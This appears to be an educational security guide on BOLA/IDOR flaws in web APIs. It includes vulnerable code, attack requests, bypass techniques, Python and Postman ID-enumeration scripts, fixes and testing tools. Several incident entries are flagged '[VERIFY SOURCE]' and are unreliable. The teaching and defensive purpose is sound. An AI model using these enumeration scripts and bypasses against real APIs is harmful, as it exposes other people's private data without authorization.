Back to Attack Flows

Table of Contents

What is BOLA/IDOR?

Broken Object Level Authorization (BOLA) and Insecure Direct Object Reference (IDOR) are closely related vulnerabilities that occur when applications fail to properly verify that a user has permission to access a specific object. When object identifiers are exposed and authorization checks are missing or inadequate, attackers can manipulate these references to access unauthorized data.

Why is it Critical?

BOLA/IDOR is ranked #1 in the OWASP API Security Top 10 (2023) and remains a persistent threat because:

BOLA vs IDOR: Understanding the Difference

How BOLA/IDOR Works

The Vulnerable Pattern

BOLA/IDOR occurs when applications use predictable object references and fail to verify authorization:

# VULNERABLE CODE
@app.route('/api/user/<user_id>')
def get_user(user_id):
    # No authorization check!
    user = database.get_user(user_id)
    return jsonify(user)

# Anyone can access any user's data:
# GET /api/user/123
# GET /api/user/124
# GET /api/user/125

The Attack

An attacker systematically manipulates object identifiers to access unauthorized resources:

# Legitimate request (user accessing their own data)
GET /api/user/1337 HTTP/1.1
Authorization: Bearer user1337_token

# Attack: Change the user ID
GET /api/user/1338 HTTP/1.1
Authorization: Bearer user1337_token

# ✅ Success! Attacker views user 1338's data
# Response: {"id": 1338, "email": "victim@example.com", "ssn": "123-45-6789"}

Common Vulnerable Endpoints

1. Numeric IDs (Most Common)

# User profiles
GET /api/users/12345
GET /profile?id=789

# Documents
GET /api/documents/567
GET /download?file_id=123

# Orders
GET /api/orders/98765
GET /invoice/4321

# Messages
GET /api/messages/555
DELETE /api/message/666

2. Sequential or Predictable Identifiers

# Increment to enumerate all records
/api/invoice/INV-2024-0001
/api/invoice/INV-2024-0002
/api/invoice/INV-2024-0003

# Date-based patterns
/reports/2024-01-15-report.pdf
/backups/backup_20240115.zip

# Username-based
/api/profile/john.doe
/api/profile/jane.smith

3. GUIDs/UUIDs (Often Assumed Secure)

# While harder to guess, still vulnerable if exposed
GET /api/document/550e8400-e29b-41d4-a716-446655440000

# UUIDs found in:
# - API responses containing references to other objects
# - Email notifications
# - Publicly accessible pages with hidden references
# - JavaScript code or HTML comments

Attack Types

1. Horizontal Privilege Escalation

Accessing resources belonging to users at the same privilege level:

# Regular user accessing another regular user's data
User A (ID: 100) → Access User B's data (ID: 101)

GET /api/profile/101
GET /api/orders/user/101
GET /api/messages/inbox/101

2. Vertical Privilege Escalation

Accessing resources belonging to higher-privilege users:

# Regular user accessing admin resources
Regular User (ID: 1000) → Access Admin data (ID: 1)

GET /api/admin/users
GET /api/user/1  # Admin account
GET /api/settings/global

3. Data Enumeration

Systematically extracting all records:

# Automated enumeration script
for user_id in range(1, 100000):
    response = requests.get(f'https://api.example.com/user/{user_id}', 
                          headers={'Authorization': f'Bearer {token}'})
    if response.status_code == 200:
        save_data(response.json())
# Result: Complete database dump of all users

Advanced Attack Techniques

1. Parameter Manipulation

# URL parameters
/api/user?id=123 → /api/user?id=124

# POST body parameters
{"user_id": 123} → {"user_id": 124}

# Path parameters
/users/123/profile → /users/124/profile

# Headers
X-User-ID: 123 → X-User-ID: 124

# Cookies
user_id=123 → user_id=124

2. UUID Prediction and Discovery

# UUIDs leaked in various locations:

# 1. API responses referencing related objects
GET /api/user/me
Response: {
    "id": "current-user-uuid",
    "manager_id": "manager-uuid",  # ← Leaked UUID
    "team_id": "team-uuid"         # ← Leaked UUID
}

# 2. WebSocket messages
{"type": "notification", "document_id": "550e8400-e29b-41d4-a716-446655440000"}

# 3. Email notifications
"View document: https://app.com/doc/550e8400-e29b-41d4-a716-446655440000"

# 4. Weak UUID generation (predictable)
# Some implementations use timestamp-based UUIDs (v1)
# which can be predicted or brute-forced

3. Mass Assignment with IDOR

# Attacker modifies object ownership
PUT /api/document/123
{
    "title": "My Document",
    "owner_id": 456,     ← Changed from 123 to 456
    "is_public": true
}

# Or escalate privileges
PATCH /api/user/123
{
    "is_admin": true,    ← Mass assignment + IDOR
    "role": "admin"
}

4. Nested Object Access

# Access through parent-child relationships
GET /api/teams/5/members/99    # Team 5, but member 99 belongs to Team 7
GET /api/projects/10/files/55  # Project 10, but file 55 from Project 12

# Sub-resource manipulation
POST /api/invoice/123/items
{
    "invoice_id": 456,  # ← Different invoice
    "item": "Unauthorized charge"
}

5. State-Based IDOR

# Step 1: Create a resource
POST /api/documents
Response: {"id": 789, "status": "draft"}

# Step 2: Before it's published, guess other IDs
GET /api/documents/790  # Access someone else's draft
GET /api/documents/791  # Before they're made public

6. Blind IDOR

# No direct response, but action succeeds
DELETE /api/user/123/avatar
# Response: 200 OK (no content)
# Attacker deleted someone else's avatar

# Confirmation via side channel:
# - Email notification to victim
# - Change reflected in victim's account
# - Timing differences

7. Encoded/Obfuscated References

# Base64 encoded IDs
/api/user/MTIz  # MTIz = base64("123")
# Decode, modify, re-encode
/api/user/MTI0  # MTI0 = base64("124")

# Hashed references
/api/doc/5f4dcc3b5aa765d61d8327deb882cf99  # MD5 hash
# Rainbow tables or hash collision attacks

# Encrypted IDs (weak encryption)
/api/user/U2FsdGVkX1+... 
# Cryptanalysis if weak key or algorithm

8. Multi-Step IDOR Chains

# Step 1: IDOR to get victim's data
GET /api/user/456
Response: {"id": 456, "email": "victim@example.com", "reset_token_id": 789}

# Step 2: IDOR to access reset token
GET /api/tokens/789
Response: {"token": "abc123..."}

# Step 3: Use token to reset victim's password
POST /api/reset-password
{"token": "abc123...", "new_password": "hacked"}

Defense Bypass Strategies

Bypassing Weak Authorization

1. Client-Side Authorization Bypass

// Frontend checks can be bypassed
// Vulnerable JavaScript:
if (currentUser.id === documentOwnerId) {
    showEditButton();  // Only UI restriction!
}

// Attack: Direct API call bypasses UI check
DELETE /api/document/123
# Works because backend doesn't verify!

2. Session Context Manipulation

# Weak check: Only validates session exists
GET /api/user/123
Authorization: Bearer valid_token_for_user_456

# Backend incorrectly assumes:
# "If they have a valid session, trust the requested ID"
# Should check: "Does this session's user own object 123?"

3. HTTP Method Bypass

# GET request blocked
GET /api/admin/users/123
Response: 403 Forbidden

# Try other methods
POST /api/admin/users/123   # Might work!
PUT /api/admin/users/123    # Might work!
PATCH /api/admin/users/123  # Might work!
HEAD /api/admin/users/123   # Returns headers only

4. Content-Type Manipulation

# Application expects JSON, validates JSON input
POST /api/user/123
Content-Type: application/json
{"role": "admin"}  # Blocked

# Try XML
POST /api/user/123
Content-Type: application/xml
<user><role>admin</role></user>  # Might bypass validation!

5. API Version Bypass

# Modern API v2 has proper auth
GET /api/v2/users/123
Response: 403 Forbidden

# Legacy API v1 might be vulnerable
GET /api/v1/users/123
Response: 200 OK (User data)

# Or try without version
GET /api/users/123

6. Wildcard and Range Exploitation

# If API supports ranges
GET /api/users?ids=1-1000  # Bulk export
GET /api/documents?ids=*   # All documents

# Array parameter manipulation
GET /api/users?id[]=123&id[]=124&id[]=125

7. Race Conditions

# Concurrent requests before auth check completes
import threading

def access_resource():
    requests.get('https://api.example.com/premium/content/123')

# Send 100 simultaneous requests
threads = [threading.Thread(target=access_resource) for _ in range(100)]
for t in threads:
    t.start()

# One might slip through before authorization caching kicks in

GraphQL-Specific IDOR

# Query for unauthorized data
query {
  user(id: "victim-uuid") {  # ← IDOR vulnerability
    email
    ssn
    creditCards {
      number
      cvv
    }
  }
}

# Nested IDOR
query {
  team(id: 5) {
    members {      # Should check if requester can view Team 5's members
      id
      email
      salary   # ← Sensitive data leak
    }
  }
}

Prevention & Mitigation

1. Implement Proper Authorization Checks

THE PRIMARY DEFENSE

# ✅ SECURE: Verify ownership before access
@app.route('/api/user/<user_id>')
@login_required
def get_user(user_id):
    current_user = get_current_user()
    
    # Check if user has permission
    if not current_user.can_access_user(user_id):
        return jsonify({"error": "Forbidden"}), 403
    
    user = database.get_user(user_id)
    return jsonify(user)

# Alternative: Filter by current user automatically
@app.route('/api/documents/<doc_id>')
@login_required
def get_document(doc_id):
    current_user = get_current_user()
    
    # Get document only if owned by current user
    document = database.get_document(doc_id, owner=current_user.id)
    if not document:
        return jsonify({"error": "Not found"}), 404
    
    return jsonify(document)

2. Use Indirect Reference Maps

# Instead of exposing direct database IDs,
# use session-specific temporary references

# User session map
session_references = {
    "ref_1": {"type": "document", "id": 12345, "user_id": 789},
    "ref_2": {"type": "document", "id": 67890, "user_id": 789},
}

@app.route('/api/document/<reference>')
def get_document(reference):
    # Look up actual ID from session map
    ref_data = session_references.get(reference)
    
    if not ref_data or ref_data['user_id'] != current_user.id:
        return jsonify({"error": "Not found"}), 404
    
    document = database.get_document(ref_data['id'])
    return jsonify(document)

# URL becomes: /api/document/ref_1
# Attacker can't guess ref_2, ref_3, etc. for other users

3. Use UUIDs Instead of Sequential IDs

import uuid

# Generate UUIDs for objects
document_id = str(uuid.uuid4())
# e.g., "550e8400-e29b-41d4-a716-446655440000"

# ⚠️ WARNING: UUIDs alone are NOT sufficient!
# Still need authorization checks!

# ✅ CORRECT: UUID + Authorization
@app.route('/api/document/<uuid:doc_id>')
def get_document(doc_id):
    document = database.get_document(doc_id)
    
    # Even with UUID, verify access!
    if document.owner_id != current_user.id:
        return jsonify({"error": "Forbidden"}), 403
    
    return jsonify(document)

4. Implement Attribute-Based Access Control (ABAC)

# Define access policies
class DocumentAccessPolicy:
    @staticmethod
    def can_view(user, document):
        # Owner can always view
        if document.owner_id == user.id:
            return True
        
        # Shared documents
        if user.id in document.shared_with:
            return True
        
        # Public documents
        if document.is_public:
            return True
        
        # Team members can view team documents
        if document.team_id and user.team_id == document.team_id:
            return True
        
        return False
    
    @staticmethod
    def can_edit(user, document):
        # Only owner can edit
        return document.owner_id == user.id

# Use in endpoints
@app.route('/api/document/<doc_id>')
def get_document(doc_id):
    document = database.get_document(doc_id)
    
    if not DocumentAccessPolicy.can_view(current_user, document):
        return jsonify({"error": "Forbidden"}), 403
    
    return jsonify(document)

5. Scope Data Queries to Current User

# ❌ BAD: Accept user-specified ID
@app.route('/api/orders/<order_id>')
def get_order(order_id):
    return Order.query.get(order_id)  # Any order!

# ✅ GOOD: Filter by current user in query
@app.route('/api/orders/<order_id>')
def get_order(order_id):
    order = Order.query.filter_by(
        id=order_id,
        user_id=current_user.id  # ← Enforced in query
    ).first_or_404()
    return jsonify(order)

# ✅ BETTER: Use ORM relationships
@app.route('/api/orders/<order_id>')
def get_order(order_id):
    # Get order through user relationship
    order = current_user.orders.filter_by(id=order_id).first_or_404()
    return jsonify(order)

6. Implement Rate Limiting

# Prevent mass enumeration
from flask_limiter import Limiter

limiter = Limiter(app, key_func=lambda: current_user.id)

@app.route('/api/user/<user_id>')
@limiter.limit("100 per hour")  # Limit enumeration attempts
def get_user(user_id):
    # ... authorization checks ...
    pass

# Advanced: Detect enumeration patterns
# - Sequential ID access
# - High volume of 403 responses
# - Rapid iteration through ID space

7. Audit Logging

# Log all access attempts for monitoring
import logging

def log_access_attempt(user, resource_type, resource_id, granted):
    logging.info({
        'user_id': user.id,
        'resource_type': resource_type,
        'resource_id': resource_id,
        'access_granted': granted,
        'timestamp': datetime.now(),
        'ip_address': request.remote_addr
    })

@app.route('/api/document/<doc_id>')
def get_document(doc_id):
    document = database.get_document(doc_id)
    granted = current_user.can_access(document)
    
    log_access_attempt(current_user, 'document', doc_id, granted)
    
    if not granted:
        return jsonify({"error": "Forbidden"}), 403
    
    return jsonify(document)

8. Defense in Depth

# Framework middleware example
def require_ownership(resource_type):
    def decorator(f):
        @wraps(f)
        def wrapper(*args, **kwargs):
            resource_id = kwargs.get('id') or kwargs.get(f'{resource_type}_id')
            
            if not current_user.owns(resource_type, resource_id):
                abort(403)
            
            return f(*args, **kwargs)
        return wrapper
    return decorator

# Use consistently across all endpoints
@app.route('/api/document/<doc_id>')
@require_ownership('document')
def get_document(doc_id):
    # Authorization already checked by decorator
    return jsonify(database.get_document(doc_id))

Detection & Testing

Manual Testing Techniques

1. Basic IDOR Test

# Step 1: Access your own resource
GET /api/user/1337
Response: 200 OK (your data)

# Step 2: Increment/decrement the ID
GET /api/user/1338
GET /api/user/1336
GET /api/user/1

# Step 3: Check response
# 200 OK = VULNERABLE (you accessed someone else's data)
# 403 Forbidden = Good (authorization check present)
# 404 Not Found = Could be vulnerable (may be hiding existence)

2. Horizontal Privilege Test

# Create two test accounts (User A and User B)
# User A creates a resource, note its ID
POST /api/documents (as User A)
Response: {"id": 789, "owner": "user_a"}

# Try to access User A's resource as User B
GET /api/documents/789 (as User B)
# Should return 403, not 200!

3. Vertical Privilege Test

# As regular user, try to access admin resources
GET /api/admin/users
GET /api/user/1  # Often admin is user ID 1
GET /api/settings/global

# Try admin actions
DELETE /api/user/123
PUT /api/user/456/role {"role": "admin"}

4. Blind IDOR Test

# Actions without direct response
DELETE /api/user/123/profile-picture
PUT /api/settings/456 {"theme": "dark"}

# Verify via:
# - Check victim account
# - Email notifications
# - Audit logs
# - Timing differences

Automated Testing Tools

Burp Suite

Manual and automated IDOR testing:

# 1. Burp Intruder for ID enumeration
# - Capture request: GET /api/user/123
# - Send to Intruder
# - Mark ID as payload position: GET /api/user/§123§
# - Payload type: Numbers (1-10000)
# - Filter responses with 200 status or specific length

# 2. Burp Extensions for IDOR
# - Autorize: Automatic authorization testing
# - AuthMatrix: Test authorization matrix
# - Auto Repeater: Replay requests with different users

Autorize Extension

# Configure Autorize in Burp:
# 1. Set up low-privilege user session token
# 2. Set up high-privilege user session token
# 3. Autorize automatically replays each request with different tokens
# 4. Flags when low-priv user can access high-priv resources

# Example detection:
# Request as Admin: GET /api/admin/users → 200 OK
# Auto-replay as User: GET /api/admin/users → 200 OK [VULNERABLE!]

OWASP ZAP

# Active scan for IDOR
# 1. Spider application to discover endpoints
# 2. Run Active Scan with "Access Control Testing" enabled
# 3. Review alerts for unauthorized access

# Manual testing in ZAP
# - Use Request Editor to modify IDs
# - Compare responses between users
# - Fuzzer for ID enumeration

Postman/Custom Scripts

// Postman collection for IDOR testing
// Test: Enumerate user IDs
pm.test("IDOR Enumeration", function() {
    const baseUrl = "https://api.example.com/user/";
    
    for (let id = 1; id <= 100; id++) {
        pm.sendRequest(baseUrl + id, function(err, response) {
            if (response.code === 200) {
                console.log(`Accessible ID: ${id}`);
                console.log(response.json());
            }
        });
    }
});
# Python script for IDOR testing
import requests

def test_idor(base_url, start_id, end_id, token):
    vulnerable_ids = []
    
    for user_id in range(start_id, end_id):
        url = f"{base_url}/api/user/{user_id}"
        headers = {"Authorization": f"Bearer {token}"}
        
        response = requests.get(url, headers=headers)
        
        if response.status_code == 200:
            print(f"[+] Vulnerable: {user_id}")
            vulnerable_ids.append(user_id)
        elif response.status_code == 403:
            print(f"[-] Protected: {user_id}")
        else:
            print(f"[?] Other: {user_id} - {response.status_code}")
    
    return vulnerable_ids

# Usage
test_idor("https://api.example.com", 1, 1000, "your_token_here")

Testing Checklist

Real-World Examples

Notable Incidents and Disclosures

1. Facebook - View Any User's Photos (2019) [VERIFY SOURCE]

2. Instagram - Account Takeover via IDOR (2020) [VERIFY SOURCE]

3. USPS Informed Visibility (2018)

4. Bumble Dating App (2019) [VERIFY SOURCE]

5. Venmo (2016) [VERIFY SOURCE]

6. Starbucks (2019) [VERIFY SOURCE]

7. British Airways Executive Club (2019) [VERIFY SOURCE]

Common Vulnerable Application Types

Impact Examples

Privacy Violations

  • Unauthorized access to personal data (GDPR, CCPA violations)
  • Exposure of sensitive medical records (HIPAA violations)
  • Financial data breaches (PCI DSS violations)
  • Fines ranging from thousands to millions of dollars

Business Impact

  • Complete database exfiltration through ID enumeration
  • Competitive intelligence leaks
  • Data sold on dark web marketplaces
  • Reputational damage and customer loss
  • Legal liabilities and class-action lawsuits

Quick Reference

Common Attack Vectors

# Numeric IDs
/api/user/123 → /api/user/124
/api/order/999 → /api/order/1000

# Path parameters  
/users/alice/profile → /users/bob/profile
/documents/123/download → /documents/456/download

# Query parameters
?user_id=123 → ?user_id=124
?file=report1.pdf → ?file=report2.pdf

# POST body
{"document_id": 789} → {"document_id": 790}

# Headers
X-User-ID: 123 → X-User-ID: 124

# Cookies
session_user=alice → session_user=bob

# UUIDs (when leaked)
/doc/550e8400-e29b-41d4-a716-446655440000
→ /doc/[uuid-found-in-response]

# Encoded references
/api/user/MTIz → /api/user/MTI0 (base64)

Quick Testing Methodology

  1. Identify: Find endpoints with object references (IDs, UUIDs, names)
  2. Document: Note which resources you can legitimately access
  3. Manipulate: Change object identifiers (increment, decrement, guess)
  4. Compare: Check if you can access unauthorized resources
  5. Enumerate: If vulnerable, test scope (how many objects can be accessed)
  6. Escalate: Try vertical escalation (admin resources, sensitive data)

Prevention Checklist

Red Flags in Code

# ❌ DANGEROUS PATTERNS

# 1. No authorization check
def get_user(user_id):
    return User.query.get(user_id)  # Anyone can access any user!

# 2. Only checking authentication, not authorization
@login_required
def get_document(doc_id):
    return Document.query.get(doc_id)  # Logged in ≠ authorized!

# 3. Client-side authorization only
# Backend: Returns all data
# Frontend: Only shows if user.id === owner_id  # Easily bypassed!

# 4. Trusting user input for ownership
def delete_file(file_id, owner_id):
    # Attacker can send their own user_id!
    if file.owner_id == owner_id:  # Don't trust user input!
        delete(file)

# 5. Sequential IDs without authorization
User.id = auto_increment  # Predictable + no auth check = vulnerability

Testing Tools Quick Reference

Tool Purpose Best For
Burp Intruder ID enumeration, fuzzing Systematic testing of ID ranges
Autorize Automated authorization testing Replay requests with different users
AuthMatrix Authorization matrix testing Multiple roles/users at once
OWASP ZAP Active scanning Automated vulnerability detection
Postman API testing, scripts Custom enumeration scripts
Custom Scripts Automated enumeration Large-scale testing, reporting

Resources & Further Reading

Attack Complexity Matrix

ID Type Predictability Attack Difficulty Example
Sequential Integer Very High Very Easy 123, 124, 125...
Timestamp-based High Easy 20240115123045
Encoded ID Medium Medium MTIz (base64)
UUID v4 Very Low Hard* 550e8400-e29b...
UUID v1 Medium Medium Contains timestamp

* UUIDs can still be vulnerable if leaked in responses, emails, or client-side code